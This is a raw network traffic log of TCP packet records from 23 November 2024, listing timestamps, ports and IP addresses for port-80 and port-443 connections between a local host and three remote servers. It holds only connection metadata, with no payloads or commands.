Nov 23, 2024 11:22:24.333472967 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.334323883 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.334381104 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.334434032 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.334546089 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.337380886 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.337416887 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.337435961 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.337455034 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.337462902 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.337474108 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.337490082 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.337507963 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.337508917 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.337524891 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.337551117 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.338747025 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.338807106 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.338901997 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.338952065 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.339777946 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.339828014 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.340065002 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.340121984 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.340624094 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.340639114 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.340663910 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.340684891 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.341532946 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.341730118 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.341782093 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.342571020 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.342628956 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.342729092 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.342921019 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.343513966 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.343529940 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.343569040 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.343584061 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.344342947 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.344458103 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.344518900 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.344580889 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.345484018 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.345499992 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.345552921 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.346498013 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.346546888 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.346684933 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.346844912 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.347395897 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.347449064 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.347579956 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.347623110 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.348522902 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.348537922 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.348582983 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.349384069 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.349438906 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.349567890 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.349966049 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.350409985 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.350562096 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.350929976 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.351459980 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.351484060 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.351902008 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.352329969 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.352456093 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.352509022 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.353423119 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.353440046 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.353451014 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.353487015 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.354334116 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.354348898 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.354453087 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.355393887 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.355410099 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.355463028 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.356213093 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.356380939 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.356403112 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.356452942 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.356861115 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.356972933 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.357084036 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.357183933 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.357283115 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.357341051 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.357412100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.357428074 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.357477903 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.357475996 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.357594967 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.357753038 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.358201027 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.358318090 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.358334064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.358350039 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.358366013 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.358458996 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.358793974 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.358813047 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.358823061 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.358829021 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.361314058 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.361335039 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.361355066 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.361376047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.361380100 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.361392975 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.361408949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.361427069 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.361428022 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.361454964 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.361474037 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.361478090 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.361490965 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.361506939 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.361524105 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.361529112 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.361546040 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.361624956 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.361624956 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.361624956 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.362399101 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.362413883 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.362431049 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.362458944 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.362479925 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.362560987 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.362695932 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.363095045 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.363116026 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.363251925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.363317013 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.363421917 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.363471031 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.363509893 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.363527060 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.363594055 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.363610983 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.363666058 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.364213943 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.364231110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.364284992 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.364392996 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.364408970 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.364435911 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.364470959 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.364809036 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.364908934 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.365006924 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.365070105 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.365134954 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.365206957 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.365303040 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.365745068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.365971088 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.366102934 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.366103888 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.366121054 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.366168022 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.366703987 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.366791964 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.366889954 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.367063046 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.367175102 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.367176056 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.367281914 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.367604017 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.367732048 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.367898941 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.368077993 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.368151903 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.368155003 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.368266106 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.368578911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.368716955 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.368892908 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.369034052 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.369163990 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.369164944 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.369358063 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.369534016 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.369668961 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.370050907 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.370069027 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.370156050 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.370199919 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.370301962 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.370429993 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.370579958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.371067047 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.371114969 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.371196032 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.371360064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.371392965 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.371460915 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.372006893 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.374587059 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.374602079 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.374618053 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.374639988 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.374666929 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.374674082 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.374684095 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.374711037 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.374712944 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.374732018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.374733925 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.374748945 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.374763966 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.374768019 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.374783993 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.374789000 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.374802113 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.374809027 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.374809027 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.374850035 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.375231981 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.375299931 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.375422001 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.375438929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.375612974 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.375638962 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.375703096 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.376337051 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.376352072 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.376367092 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.376419067 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.376502037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.377408028 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.377423048 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.377438068 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.377454042 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.377456903 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.377490997 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.377511978 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.377511978 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.378268957 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.378283978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.378299952 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.378345966 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.378412008 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.378432035 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.378510952 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.379040003 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.379240036 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.379255056 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.379324913 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.379355907 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.379421949 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.379595041 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.380188942 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.380209923 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.380256891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.380378008 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.380393982 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.380419970 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.380448103 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.380985022 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.381000042 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.381064892 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.381078959 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.381093979 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.381172895 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.381675005 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.381791115 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.381875992 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.381939888 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.381982088 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.382621050 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.382793903 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.382927895 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.383560896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.383670092 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.384191990 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.384495020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.384625912 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.384723902 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.385418892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.385526896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.385613918 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.386459112 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.386516094 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.386579037 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.387371063 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.387408972 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.387470007 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.388263941 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.388290882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.388338089 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.388438940 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.388582945 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.388669968 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.389199018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.389292955 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.389364958 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.389364958 CET	49798	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.389374018 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.389381886 CET	443	49798	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.389398098 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.390119076 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.390242100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.390285969 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.391091108 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.391267061 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.391460896 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.392031908 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.392163038 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.392210007 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.392950058 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.393027067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.393882990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.393969059 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.393985987 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.394928932 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.395534039 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.395549059 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.395812035 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.396509886 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:24.396522045 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:24.396807909 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.396971941 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.396984100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.396994114 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.397006989 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.397020102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.397042990 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.397042990 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.397075891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.398180962 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.398236990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.398493052 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.398741007 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.398931980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.399009943 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.399828911 CET	80	49786	34.116.198.130	192.168.2.4
